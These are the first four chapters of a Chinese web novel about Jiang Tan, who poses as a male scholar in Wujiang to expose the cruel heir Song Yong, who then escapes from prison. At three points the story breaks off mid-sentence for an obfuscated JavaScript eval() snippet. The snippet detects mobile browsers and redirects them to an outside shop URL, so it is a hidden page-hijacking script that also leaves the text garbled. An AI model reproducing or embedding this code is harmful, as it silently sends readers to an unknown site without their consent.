《白莲花骗婚后火葬场》 1. 第 1 章 德庆七年,十二月末。 外面的梆子敲了三声。 天还是黑的,杨修文提着灯笼出了衙门,匆匆往姜府去。 所谓姜府,只是一个体面的称呼,并不是真有多大的府邸,而是梅花巷子里一间带着小院的泥土房。 姜府里只住着一个人,叫做姜昙。 姜昙也不是多有钱的主儿,而是吴江知县刘大人的远方外甥,来投奔舅舅不到一年,暂且在县衙做个文书。 一个穷书生罢了,刚满十七岁,杨修文平日叫他姜小相公。 杨修文急匆匆地拍门:“姜小相公,姜小相公在家吗?衙门里出了点事,刘大人让我来告你一声!” 门被打开,门内是眉目疲倦的姜昙,看起来一夜没睡的模样。 姜昙问:“什么事?” “上头的批示下来了。” 杨修文看四下无人,压低了声音,“牢里的重犯,将于三日后问斩!” 姜昙一时愣住了。 杨修文看他脸色难看,疑惑地想,这不是姜小相公期盼的结果吗? 他这些天,一直在连夜搜集重犯的罪证。 若不是姜昙找出来的隐秘罪证,重犯现在还是一个体面的富贵公子哥,吴江百姓口中人人称赞的“小善人”。 啧啧。 可谁能想到,小善人生得一副菩萨面,却是一副蛇蝎心肠。 明面上修桥铺路、设棚施粥。背地里圈地害命、走私贩盐! 多亏眼前姜小相公伪装潜伏,才一举拆穿了重犯的伪善面目! 姜昙扶着门框,似乎受不住寒冷的气息,咳嗽起来。 杨修文忽地闭嘴。 他突然想起来,衙门里的捕快说过一件事—— 一月之前,这位姜小相公与重犯一见如故。那时候,两人似乎…… 是至交好友。 姜昙咳得愈发厉害,佝偻着身体,一头栽倒在雪地里。 “姜小相公?姜小相公!” 姜昙双目紧闭,面色苍白,一副薄命死相。 . 姜昙刚到吴江,是在半年之前。 一个秋日的早晨,杨修文奉命去渡口接这位知县的远房外甥。 杨修文跟了刘大人三年有余,从他还是个举子的时候就跟着伺候,刘大人无父无母,据刘大人自己说,亲族都死绝了。 是以,杨修文从没听说过刘大人有姓姜的亲戚,更别说有什么远房外甥。 待接到人一看,呦,还真是刘大人的亲戚! 眉眼虽然稚嫩,却有和大人如出一辙的出尘气质。 眉目如画,长得天人一样。 只是身子骨单薄,背着包袱孤零零站在那,一阵风就能刮跑了似地。 姜昙被江风吹得鼻子通红,眼中藏着黑压压的一汪江水,悠悠地摇曳着秋日清晨的霞光。 清瘦修长的少年人弯腰见礼:“杨伯安好。” 声音也好听,就跟那天上的仙乐没什么两样。 县衙上下,无一人不喜欢他。 每逢姜昙回家去,街头至街尾的大姑娘、小媳妇儿们总偷着瞧他。 有一阵子,姜昙的婚事是吴江的媒婆们最爱操心的问题。 可偏偏是刘大人这个正儿八经的长辈,对姜昙严厉非常。不仅每日亲自过问姜昙的功课,还不许他出去踏青游戏。 每日酉时,送饭的杨修文总要在拐角处藏着,听着刘大人房里的训斥声止,才敢让婆子们把晚膳送进去。 送饭时进去,偷看一眼姜昙,面色如常,眼眶却是红着的。有时候偏要和刘大人较劲一样,还能笑出来。 杨修文以为刘大人会生气,刘大人却没有,反而眉目舒展,隐隐有赞赏之色。 这是大人在磨姜昙的性子呢。 杨修文这才反应过来。 除了笔上文章,刘大人还爱考校姜昙的拳脚功夫。 可姜昙怎么也吃不壮,细胳膊细腿的身量,不是拿不住剑,就是握不住刀,连马也骑不好,总是摔下来。 射箭略好些,但也只是略好。 刘大人当年君子六艺,可是样样都好的。 杨修文一看就觉得要糟。 果然,批完公文的刘大人到院中散步,看到姜昙如此不中用的模样,眉毛一竖,提剑就要和姜昙比划一下。 姜昙咬着牙,没撑过两招。 刘大人怒不可遏:“你若再这副懒散模样,迟早滚回江东去!别留在我府里,白费本官的米粮!” 姜昙闷声不吭,站在原地流眼泪。 都说甥舅一家亲,打断骨头连着筋。 可这对甥舅每回说话都要红脸,杨修文劝这个也不是,劝那个也不是。只好让婆子宽慰姜昙,自己去陪着自家大人。 这对甥舅,为此好一段时候没说话。 那段时间正巧刘大人事忙,没空指点姜昙的功课,姜昙就自己去了吴江的书院。 后来发生了什么? 杨修文年纪大了,记性不太好,后来究竟发生了什么,他思前想后,终于想起来点眉目。 后来姜昙在书院认识了几个同窗,反常地叛逆,时常约着一起出去踏青,听戏,游湖。 那时刘大人手头有一件头疼的案子,许久不见姜昙,连杨修文也许久不见他。 唯一记得的一次,是他醉醺醺地被人搀着回来。 姜昙从来不喝酒,那次恐怕是被人灌醉了的。 彼时,杨修文提着婆子做的桂花糕,刚进梅花巷子,便见姜府的门开着。屋里黑漆漆的没点灯,依稀看着有两个人影挨在一起。 一高一矮。 矮的一摊泥,没骨头似地倚着高的手臂。高的低着头,伸手好似在摸矮的衣襟。 杨修文想起来,姜昙惯爱把银子塞在衣襟,护得跟眼珠子似的。 那矮的正是姜昙!那高的怕是个偷儿! “干什么的!” 杨修文大喝一声,抄了门边的扫把,朝里面嚷嚷。 正要冲进去,墙头忽然跳下来两个小子,捂了杨修文的嘴,按着他的肩膀撞在墙上。 竟是两个练家子! 叫声惊动屋里的人,挨在一起的影子分开,一个瘫软在桌子上,一个慢慢走了出来。 走出来的是一个少年人,看着和姜昙一样的年纪。 不过杨修文知道,姜昙吃不饱,长得显小,这少年郎虽然比姜昙高了一个头,却恐怕比姜昙还要小上两三岁。 少年人眼神阴郁,一手背在身后,随口问道:“你是谁?” 两个练家子把杨修文的嘴松开,他说:“我是姜相公的伯伯,你是谁?来干什么的?” 少年人神色一松,漫不经心地说:“我是阿昙的同窗,我们一起去喝酒,他醉了,我送他回来。” 同窗挨那么近,怕是意图不轨吧! 杨修文当时暗暗想,等姜昙醒了,一定要让他离这个同窗远一点。见了长辈不见礼,还带着两个打手。 一看就不是好东西! 对了,这同窗姓甚名谁来着? 宋庸。 嘶,竟和那牢里的重犯同名同姓……不对,这个宋庸,就是死牢里那个即将被砍头的重犯! 杨修文忽然想起初见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572388|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,他把手背在身后。 那时候,这小子该不会是在身后藏着刀吧! . 姜昙猛然睁开眼睛,大口喘着气。 帐顶是大片的荼蘼花绣纹,花朵开得妖冶而肆意。 姜昙定定地看了一会儿,回过神来,发现自己躺在厚重的被衾中,胸口卧着一只猫。 猫儿肚皮圆滚,睁开眼睛瞅他,是一双琉璃般的竖瞳。 这猫原先有主人的,自从跟了姜昙,变得不爱搭理人。只有看到往日的旧主造访,才愿意亲近姜昙。 今日倒怪了,它竟肯主动挨着姜昙睡觉。 不过这猫又肥又沉,结结实实地压在姜昙胸口处,难怪他方才做噩梦。 姜昙伸手推开慵懒的肥猫,却见肥猫后露出一张人脸,姜昙吓得大叫一声。 “怎的了?”那人问道。 此人是吴江县现任知县,也是姜昙的舅舅刘仲青,刘大人。 “无事,发癔症罢了。” 姜昙坐起来,在刘仲青审视的目光下理好衣冠。 每回舅舅用这样的眼神看他,姜昙总会下意识反思,自己做错了什么。而舅舅确实慧眼如炬,总能揪出他的错处。 姜昙有些发怵,问道:“不知舅舅造访,所为何事?” 刘仲青说:“原本让杨修文请你去县衙,不想你身子骨如此娇弱,连路都走不动。你不来找我,只好我来找你了。” 姜昙乖乖认错:“外甥知错,下次不再犯了。” “下次?不必下次了。”刘仲青拿出一册文书,交与姜昙,说:“我给你最后一次机会。这一次,若让我失望,你便真的滚回江东去罢。” 姜昙打开文书,那上面是知府的批文,牢里的重犯,是真的被判处死罪了。 姜昙神色怔怔。 刘仲青叹了口气,说:“阿昙,别让我失望。上次你做的很好,若不是你,以此人谨慎狡猾的性子,断不可能被我们擒住。这一次,你要做得更好。此人在外还有同党流窜,这三天里,他绝不能出事。” 姜昙眼眸颤动,最终说道:“是。此事由我而起,自然该由我结束。狱卒曹二壮是县衙里最忠诚可靠之人,相信有他镇守牢狱,重犯不会出差错。” “你心里有数就好。” 猫儿从床下跳到床上,喵喵地叫。 刘仲青的眉毛蹙起,不赞同地说:“飞禽走兽就不要养了,早些送走,免得玩物丧志。何况你自己都还病着,难道病中还要起来给它喂食?” 刘仲青又指着那帐顶评判:”这帐子上的花纹也奇怪,看着不详。趁早换了,你见哪个男人屋里,像你一样弄得花团锦簇!“ 姜昙低着头不说话。 刘仲青离去后,姜昙看着猫,忽然想起来一件事。 这些天他忙得团团转,这猫……他有多久没喂过了? 可猫儿肚子滚圆,一副吃撑了的模样,分明是日日有人喂的! 只是杨修文许久没来过这,猫是谁喂的? 姜昙吓得将猫丢开,猫儿团在角落里呼呼大睡。 他缓缓看向帐顶的荼蘼花。 姜昙没有告诉刘仲青,这荼蘼花的帐子,是宋庸家中的绣娘帮忙补的,宋庸最爱荼蘼花的纹样。 这猫,也是宋庸送的。 姜昙蓦地赤脚下地,一把将门打开。 冷风呼啸钻入门内,吹得屋里的炭火一阵战栗。鹅毛大雪随风而入,簌簌落在地板上。 刘仲青走了不过半刻钟,院里的痕迹已被大雪掩埋,四处白茫茫一片,无一丝痕迹可寻。 仿佛从未有人来过一样。 2. 第 2 章 德庆七年,十一月初。 这是姜昙到吴江的第五个月。 姜昙从衙门搬到梅花巷子,来到吴江书院听学。 外人眼中,他只是一个微不足道的穷书生,书院里遍地都是,无人在意。 宋庸与他们不一样。 宋家是苏州府有名的富户,常年住在苏州府,每年十一月回吴江祭祖,年后再离开。 宋庸因此暂时地转到吴江书院上课。 但宋庸从不来书院。 只有宋家的仆从驱着马车,偶尔来一趟。说是宋少爷手头生意正忙,没空来书院,特意请先生去府中讲学。 学生们目送华贵的马车离去,姜昙淹没在人群之中,耳边是一连声羡慕的惊叹。 有人说,宋家坐拥苏州府的半座金山,而宋庸今年不到十六岁,已经捏着宋家的大半账本,是名副其实的掌家人。 有人说,去年苏州府发大水,宋庸出银子设棚施粥、修了路又修桥,建育婴堂……种种善行,美名远扬。可谓年少有为! 原本,姜昙与宋庸怎么也不会有交集。 可自从姜昙射了宋家的马那天起,一切开始变得不一样了。 记不清事情是怎么发生的。 只记得回过神来时,姜昙已从书箱里抽出弓箭,对着宋家的疯马射了两箭。 那马原本绑在马车上,可一看到吃豆饼的卢文进,它就发疯似地挣脱束缚,朝卢文进疾驰而来。 马蹄落下,足以把人踩成肉泥。 卢文进傻眼,愣在原地。 人命关天,姜昙没有犹豫,连发两箭。 一箭射马鬃,引起马儿的注意,一支射马腿,逼退马儿的脚步。 两箭之后,烈马停步。 劫后余生,姜昙方才松一口气,却受到了铺天盖地的指责。 “宋家的汗血宝马价值千金!姜昙你可怎么赔得起!” 姜昙解释说:“我并未射伤马,只是吓它停步。” “你敢吓宋家的马?这可是宋少爷的爱马,不能有丝毫闪失!” “明明是这马先发疯……” 马夫鼻孔朝天地站出来:“宋少爷是苏州府有名的小善人,怎么会养一匹疯马伤人?那马只是闻到豆饼香味,想与人玩耍罢了!” 马夫一指卢文进:“那书生,你说,这马可有伤到你?” 卢文进看看姜昙,又看众人,低头讷讷说:“未曾伤到。” 姜昙怎么也没有想到,事情竟会变成这样。 事后,他被山长没收弓箭,并罚站半日。 姜昙头晕眼花地熬到晌午,终于能回去吃饭。打开食盒,却发现豆饼被人掺了淤泥。 午后上课,不知谁碰掉姜昙的砚台,墨水流了一桌。 晌午还在的书不见踪影,做好的课业忽然变成纸屑,姜昙被几个先生轮流痛骂。 浑浑噩噩地回家,路边的墙头倒下来一盆冷水。 姜昙浑身冰冷刺骨,墙内有人偷笑:“活该!” 当晚回去,姜昙就得了风寒。 姜昙不是没去找过刘仲青。却被杨修文告知,刘仲青去了苏州府,手头正忙着一件要紧的案子,不得空闲。 姜昙只好回去。 烧得意识不清时,他想,不能再这么下去了。 第二日,他当街拦了宋庸的马。 姜昙不认得宋庸是谁,却认得射过的那匹马。 东街闹市,人群熙熙攘攘。 少年一身华服,高高地骑在马上,艰难地行在东街集市中。 少年的眉间藏着戾气,脸色越来越不耐烦。座下马儿似乎感受到主人情绪,对着如织游人,刨着蹄子,蓄势待发。 正是这时,姜昙握住了缰绳。 “少爷,这边出去,不会挤。”姜昙指指旁边巷口,头顶是宋庸冷然的目光。 姜昙引着马儿朝反向去,马儿在他手下乖顺无比,来到一处巷子。 这时,宋家下人气喘吁吁追过来,跪的跪,求的求。 一个胆大的去接姜昙手里的缰绳,被宋庸一脚踹开。 宋庸撒完了气,居高临下地看向姜昙:“你想要什么赏?” 姜昙声音嘶哑,仰视宋庸说:“我想做宋少爷的朋友。” “好大的胆子!” 宋庸冷冷打量他,却没有发怒的意思:“为什么?” 姜昙知道有机会,紧张地握紧发汗的手心。姜昙说:“做少爷的朋友,就不会被人欺负。” 宋庸似乎短暂地笑了一下。 他此刻才仔仔细细地把姜昙看在眼里,轻蔑地说:“做本少爷的朋友,得陪我玩游戏,你敢吗?” 宋庸喜欢玩的游戏,有个雅称儿,叫“凤凰涅槃”。 凤凰不是别的,而是公鸡。 将麻绳套在公鸡的脖子上,吊在树下。若能在公鸡被吊死之前射断麻绳,就算成功。 不过,这游戏要多个人一起玩才有趣。 谁能最晚射断麻绳,且射下的公鸡仍活着,就算谁赢。 宋府里请来的不知哪家少爷,嘻笑着说:“宋少爷想出来的游戏,总是这么有意思!” 一群富家子弟们握弓搭箭,对还未吊起的公鸡,跃跃欲试。 “哼!”一个少年鄙夷说:“这算什么,真是没见过世面!” 声音不小。 宋庸面色沉下来,却没有发作。 此时,宋府里的小厮凑近,把弓箭递给姜昙:“少爷说,你若是赢了张少爷,重重有赏。” 张少爷正是方才出声鄙夷之人。 “若输了呢?” 小厮笑指了指湖水:“输了就是无用之人,少爷从不与无用之人做朋友,你便从这跳下去!” 宋庸换了衣服,正被下人们簇拥着整理腰带。 察觉到姜昙的视线,宋庸扬眉看过来,一副陌上少年的明媚模样。 姜昙与他对视,心底发凉。 他握着弓箭,手指轻颤,试着搭箭,却不成样子。 他方才听到,张少爷箭术极好。 输定了。 姜昙闭了闭眼,走到宋庸跟前,挺直的脊背弯下去:“学生箭术不佳,参与比试是侮辱贵人的眼睛。但学生愿做少爷箭下的凤凰,成为对少爷有用的人。” 富家子弟们惊讶地看了过来。 许久之后,宋庸说:“我用你,输了怎么办。何况你若死了,官府可要将我投入牢狱。” 紧接着一声嗤笑:“你莫不是假意做朋友,故意来害我?” 姜昙按住颤抖的手掌,说:“在场的都是人证,学生只求与少爷做朋友的机会,生死与旁人无关。” 凤凰涅槃说的好听,实则是箭靶子,另一头拴着人命。 富家子弟们虽然纨绔,却知道分寸,这种事,有人敢提,他们也不敢应。 宋庸与他们不一样。 他的眼中有着浓厚的兴趣,脸上的兴奋藏也藏不住。 他“被迫”答应了。 姜昙被吊起来时,身边几只公鸡扑腾挣扎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572389|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们分明被喂了哑药,可姜昙脑中出奇地吵,好似能听到公鸡濒死的鸣叫,刺耳不已。 对面搭弓的富家子弟们,脸上流露出激动之色,刺激而新奇的游戏总是令他们热血沸腾。 有了之前的保证,此刻姜昙的命在他们眼中,和公鸡没什么两样。 姜昙闭上了眼睛。 他安静闭目,如同死去一般,听到耳边的绳索一一被射断。 姜昙蓦然睁眼,用匕首割断了绳索。 下人们欢呼:“少爷赢了,是少爷赢了!” 姜昙瘫软在地,大口喘着气。依稀觉得腿被踢了一下:“死了没有?” 姜昙无力摇头。 那人问他:“你叫什么名字?” 这么久了,宋庸并不是才想起来问他的名字。而是他的所作作为引起他的兴趣,值得他问一句。 姜昙奄奄一息:“学生姜昙。” 宋庸吹了声哨子,他那匹烈马远远地跑过来,踹翻了正要进府的一个老汉,什么东西撒了一地。 宋庸翻身上马,心情愉悦地说:“走,姜昙,一起喝酒去!” 姜昙如同一摊烂泥,被宋庸一把揪起来,扔在马后。 马儿欢快地跨过门槛,踩过老汉的右腿。老汉痛苦地呻吟,被宋府的下人厉声呵斥,捂住了嘴。 姜昙才看清,那老人家原来是送豆腐的。 那豆腐比雪还白,应是出锅起就好好地保护着,被马蹄踩成烂泥时,还腾腾地冒着热气。 原来当初这四条腿的畜牲,闻到了豆饼的气味,是真的想与卢文进游戏罢了。 脖颈疼得厉害,风寒还没好。姜昙伤上加伤,嗓子无法出声。 烈酒一杯一杯被倒满,姜昙难以下咽。鲤鱼湖的舞娘们便哄着、灌着他喝,若是不喝,就要脱衣服。 姜昙喝得满面通红,双眼发直。 恍惚中,宋庸走了过来。 捏着他的下巴翻来覆去地看,嗤笑一声:“真没用,才喝这么点就醉了。” 舞娘们拿着小巧的银壶倒酒,宋庸觉得不尽兴,推开她们,反手将桌上的银壶丢进鲤鱼湖,“扑通”一声闷响。 “这是价值千金的好酒,那些酸儒们一杯一杯地喝,太小家子气,不如用坛饮酒!来,姜昙,多喝一些。” 宋庸揽着姜昙的肩,一手拿起酒坛,将美酒往姜昙口中倾倒。 酒水满溢,浇了姜昙一身。 他真的喝不下了。 . 姜昙伸手一推,什么东西掉在地上。 猛然睁开双眼,桌上一盏豆大的油灯,堆成小山的卷宗被她推倒了。 又是梦。 他疲惫地揉了揉眼睛。 猫儿睡了一觉醒过来,拖着肥胖的身体,慢慢地走到桌子上,挨着姜昙趴下。 邻居书生卢文进,他以前最爱喂这只猫,极有可能是他喂的。 姜昙吹熄油灯,准备歇息。 第一日已经过去,现在是第二日。 三更半夜,外面传来咯吱咯吱的踩雪声,有人正快速地接近,姜昙蓦地坐起来,盯紧门扉。 门被拍得震天响。 “谁?” “我,老杨!” 是杨修文。 姜昙松了口气,披衣去开门,边问道:“什么事?” “大事不妙!”杨修文面露惊恐,呼吸急促,不停地咽唾沫: “昨夜起了大火,重犯……从死牢逃走了!” 霎时间,姜昙的脸色惨白。 3. 第 3 章 依照惯例,重犯被关押在大牢的最深处。 门上用铁链锁着,门外有狱卒把守。 此刻,门上的铁链被示威似地扔在地上,门上的木桩被烧成焦炭,露出一个缺口。 然而重犯却不是从此处逃走的,牢门之内的墙角,赫然出现一个半人高的洞来。 站在牢里,甚至能看到外面渐明的天色。 所谓关押重犯的死牢,竟跟玩笑话一样。 “曹二壮在何处?” 死寂之中,姜昙一字一顿地说:“昨夜起火时曹二壮在哪?我说过要他寸步不离!” 杨修文叹气:“姜小相公还是自己去看看吧,二壮他……” “他中邪了。” 穿着祭服的神婆脸上浓墨重彩,如此说道。 说话时,神婆嘴角的朱砂纹跟着扭曲:“夜半阴气重,他三更出门,冲撞了鬼神的去路。” 半明半暗的屋内,点着幽幽烛火。 神婆手指如波浪一般,从床上双目紧闭的曹二壮头上划过。看过来的眼神直勾勾的,莫名诡异。 “正是如此。”杨修文连连点头,“曹二壮的娘子昨夜临盆,他当值途中急急忙忙回家了一趟,回来就变成了这个模样,紧接着,大牢冒出冲天的火光……原来是撞见了不干净的东西。” “我不信。”神婆瞪着他,姜昙斩钉截铁:“这世上没有鬼!” 神婆冷哼一声,停下动作。 沉睡的曹二壮睁开双眼,起身下床,口中叽里咕噜,突然往墙上撞! 杨修文眼皮直跳:“快拦住他!” 衙门里的三个汉子一起上,才按得住他。 即便如此,被压在床上的曹二壮仍旧不断挣扎,像是看到了什么恐怖之事,发出凄厉的惨叫。 姜昙走过去问:“宋庸在哪?” 曹二壮掀起眼皮,额头青筋毕现,双目赤红瞪着他。 青天白日,姜昙被这眼神震慑到,竟起了一身冷汗。 姜昙蓦地掀帘出去。 神婆站在一旁,得意地笑了笑,她唱起古怪的调子,曹二壮再度沉睡。 杨修文追出去,发现姜昙站在墙角,一手扶撑墙,低头干呕。 和姜昙同住几个月,杨修文知道,每次恐慌或害怕之时,姜昙就会这样,不过这一次倒是格外严重。 杨修文宽慰他:“姜小相公,衙门里的人都去追了,重犯跑不了多远,你不必太担心。” 姜昙呕不出来什么。 他这几日没怎么吃过东西,吐出来的都是水,刺激得胃部不住痉挛。 许久之后,姜昙终于平静下来:“不是中邪,而是五石散。” “什么?” 五石散,药性燥热。服之全身发热,眼前可见诡异奇象。 脚下积雪化成水,悄悄洇湿鞋面,一点点爬上来。 “曹二壮吃的,不是寻常的五石散,而是被特意调制过的。此药如毒,服之可见天下最悲事、惨事、恐事、怖事……最终精神崩溃,衰弱而死。” “二壮憨厚老实,肯定不会吃那害人的东西……”杨修文细思惊道:“定是有人逼他吃的!” “在狱卒的眼皮底下凿洞出逃,不是一朝一夕就能完成的。曹二壮是衙门里最死板之人,竟能在他身上得手……重犯在衙门里定有帮手。” 杨修文骇了一跳:“我这就去告诉刘大人!” 姜昙摇头:“没用的,他有本事逃出去,就有本事躲起来,让谁也抓不住。” 冰天雪地站了这么久,杨修文呼出的都是冷气,姜昙却突然冒出汗来。 杨修文说:“姜小相公,你、你怎么会那么清楚,那什么散的药性,你该不会……” 姜昙抖着手擦了把汗: “因为,我也吃了。” . 姜昙重重撞在桌角。 案上的卷宗滚下来,砸到墙角的猫,猫儿跑上窗台,幽幽的眼珠子转来转去。 地上翻滚的人,从水里捞出来一样,满头大汗,头发散了一地,额头几缕湿漉漉地粘作一团。 猫儿叫了一声。 姜昙蓦地睁眼看去,双目血红一片。 宋庸看不起吟诗作赋的秀才,却惯爱附庸风雅。 似毒的药,被他做成了截然相反的两味。 一味取名一晌贪欢,梦中看到人间至乐,宋庸最爱混在酒中服下。 另一味取名魑魅魍魉,曹二壮吃过的,梦中是人间地狱。 而姜昙,两味都吃过。 一片血色中,忽见一轮皎洁圆月。 圆月之下,娘亲在院子里摇扇,姜昙伏在娘亲膝上昏昏欲睡。 “别总跟你爹犟,他有苦衷的。老家的表妹遭人欺负,换了我,也会把她们孤儿寡母接到身边照顾。” 姜昙捂住耳朵,不想听。 娘亲噗嗤笑出声来:“你这性子,倒像我娘家一个亲戚,他住在吴江,不过老家的人都死光了,他应该还在那……” 姜昙眨了下眼,又看到一盏微弱的烛火。 刚到吴江的那天晚上,刘仲青趁他睡着,进来给他缝衣裳。他其实根本没有睡,而是哭了一晚上。 姜昙装睡偷看。 刘仲青脱了鞋提着往外走,脚尖滑稽地掂起来,脚底的足袜打着补丁。 血色散去。 姜昙仰面躺在地上,微微喘着气,忽然觉得有人踢了自己一下。 “死了没有?” 上方,宋庸冷笑着低下身来,缓缓说:“魑魅魍魉的滋味怎么样?” 宋庸掐住他的脖颈:“真是贱骨头,给狗吃的东西,你偏要代人受过!” 姜昙奋力挣扎,猛然睁眼。 药效过了。 猫儿跳下来,警惕地看向门扉。 笃笃笃。 “姜小相公,你怎么样?”是杨修文。 姜昙动了动手指,他暂时还动不了:“杨伯,曹二壮的妻子怎么样了?” 杨修文沉默着叹气:“他娘子摔了一跤,孩子早产,可生了一夜都没生下来……姜小相公,那会儿看你脸色极差,不如沐浴更衣,洗洗晦气,好生睡一觉罢。” 第一眼起,杨修文就看出来。 姜昙面相单薄,看着是个命里坎坷的。这种面相的人,一生会遇到几颗绊脚的石头,迈不过去,就会栽死在上面。 刘大人也是这面相,所以杨修文总是劝他惜福养身,可刘大人总不听。 姜昙沉思片刻,说:“把所有人召回来,不用再追了。” 杨修文为难地说:“可三日后,现在是两日后了,重犯就要斩首,这怎么好?” 姜昙看了看外面的天色,不是两日后。 过了今晚,就只剩一日了。 “你只管让他们回来,我有办法。” . 像是把杨修文的话听进去了,姜昙真的洗了个澡,换了身衣服。衣服上绣着银花,宽袖长衫,翩翩儒生。 如此奢华,却是一件寝衣。 姜昙却没有睡下。 他挑灯起来,胡乱找出一本卷宗来看,迟迟没有翻动一页。 等到一阵凉风从门缝里吹进来,姜昙已发呆了半晌,本就破碎的桌角,竟被他抠了一块下来。 猫儿似是怕冷,朝门口叫了一声。 姜昙去找木条抵门,手搭在门栓上,忽觉一阵寒意,冷冷扑在面上。 门外忽地传来一股更大的力道,门扉像是一只脆弱的蚌,一开一合,几乎要被撞开。 雪丝从开合的缝隙钻进来,若隐若现的,还有一片荼蘼花暗纹的衣角。 那花如寒风一般,狂涌而入。 姜昙抬头,正对上门缝里,那双阴鸷黑沉的眼睛。 “姜昙。” 宋庸死死盯着他,无声说道。 姜昙瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572390|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔一震,摔坐在地上,手脚被冻住一般,半步挪动不得。 门被撞开了,门扉缓缓开了半扇,那只蚌被撬开了一个口子。 猫儿警惕地躲到了床下。 突然,门猛地被合上,风雪再次被关外门外。 “姜小相公,关好门,别出来!” 是衙门里的人。 姜昙连忙爬到门边,身体牢牢抵在门上。 “姜昙!” 门外打斗声止,宋庸似是一只笼中挣扎的兽,声音从牙缝里挤出来:“你早知道我要来,你又背叛我!” 姜昙捂住耳朵。 不知过了多久,外面安静下来。 有人叩门:“姜小相公,你料得分毫不差,重犯果然有同党在外面!还好咱们早有准备,十几个弓箭手和好手,早就埋伏在梅花巷子四周。那人一进院子,就被衙门里的兄弟抓住了!” “……那就好。” “刘大人回来了,你跟不跟我们一起回去?” “我要睡觉。”姜昙摇头,摇晃着起身,摔在床上。 天边既白,外面已迎来第三日。 姜昙睡了一整日。 这一日是个大晴天,可惜雪后初晴的大半日被姜昙睡了过去。待他醒来推门,只看到墙头摇摇欲坠的落日。 像秋天枝头的蜜橘。 看样子,明天也是个好天气。 巷子里不知谁家的蠢公鸡,高高地扯起嗓子,吊死鬼一样叫了三遍。 衙门里的人又来了。 “姜相公,重犯他……他想见你一面。” . 梆子敲了三声。 死牢深处,一片漆黑。 有墙上烛火照明,依稀才辨得清楚脚下路。 姜昙踏入这里时,宋庸正看墙上的烛火。 走的近了,才发现他不是在看烛火,而是在看双手在墙上的影子。 寻常人五根手指,而宋庸天生六指。只是平日里戴着特制的手套,旁人看不出来。 这个秘密,鲜有人知。 听到他的动静,宋庸转过头来,说:“你不给我带熊掌鹿茸,不若给我找几个女人来,让我好好快活。” 姜昙说:“没银子。” 宋庸嗤笑一声,踢翻了食盒。 里面是鸡鸭鱼肉,有荤有素,衙门里给死囚送的断头饭。 “不花银子么,你也可以。”宋庸眼神不善,笑着打量他一眼:“黑灯瞎火的,脱了衣服什么都看不清,反正你也不像一个男人。” 姜昙心底一颤,忽觉有什么勾住衣领,一把将他拖到了牢门前。 还未站稳,姜昙就被人掐住脖颈,狠狠地掼在门上。 “姜昙!”宋庸死死扼住他的喉咙,面目扭曲:“站那么远!怕我吃了你?” 狱卒听到动静,连忙扑上来。一人拉姜昙,一人将宋庸的手指砸得出血,他也不肯放手。 即将窒息时,姜昙颈上的力道却突然散了些。 姜昙大口喘气,紧接着又是一痛,宋庸咬住了他的右耳。 狱卒们将刀柄重重击在宋庸胸口处,才迫使他松开。 姜昙惊惧地退了很远,捂着耳朵:“不用管他,困兽之举罢了。” 宋庸被狱卒们打得奄奄一息,瘫靠在墙上。 往日梳得一丝不苟的头发,散乱地遮住了半张脸。 “姜昙,你等着。既然我们是朋友,就算我变成鬼,也会从地狱爬上来,拉你一起死。生生世世,我绝不会放过你!” “若世上有鬼,圈地案中死去的冤魂们,足以将你撕成碎片。更何况……” 姜昙松开手,半脸都是血,任由一股殷红沿着脖颈,流到深埋的衣领中去。 他的背脊挺得很直,眼神坚定而锐利。 “这世上,从来就没有鬼!” 半晌,宋庸咧嘴,露出个血腥的笑容来:“那就试试看。” 4. 第 4 章 姜昙猛地睁开眼。 如溺水之人获救般,大口大口喘着气。 “姑娘?” 紫珠一手掌灯,挑了帐子进来,正对上姜昙惊疑不定的双眼。 姜昙捂着脖颈,直勾勾看着她。 紫珠一惊,放轻了语气:“姑娘又做噩梦了?别怕,这是在扬州,不是在吴江。如今是德庆十年,姑娘二十岁,不是十七岁。” 紫珠叹息说:“现在已不是三年前了。” 姜昙怔怔低头。 双手摊开,掌心没有鲜血,脖颈也没有割裂的刺痛感。 宋府特制的钢丝兵刃,如同一条透明的丝线,缠在手腕上,轻易逃脱了狱卒的搜查。 可就是这样一条丝线,发射时如钩子,勒在脖颈上,几乎能割断人的咽喉。 三年前,穷书生姜昙险些死在牢里的重犯手中。 那次几乎要了她半条命的伤口,现在只化成了脖颈上一条浅浅的疤痕。 若用胭脂遮掩好,走在外面,旁人只会把她当做谁家的闺阁女儿。 就算是曾经认识的人,也绝不会看出来,三年前吴江书院里的穷书生姜昙,与她有丝毫相似之处。 她如今名为姜妙仪。 小名阿昙,能叫这个名字的人,都已死了。 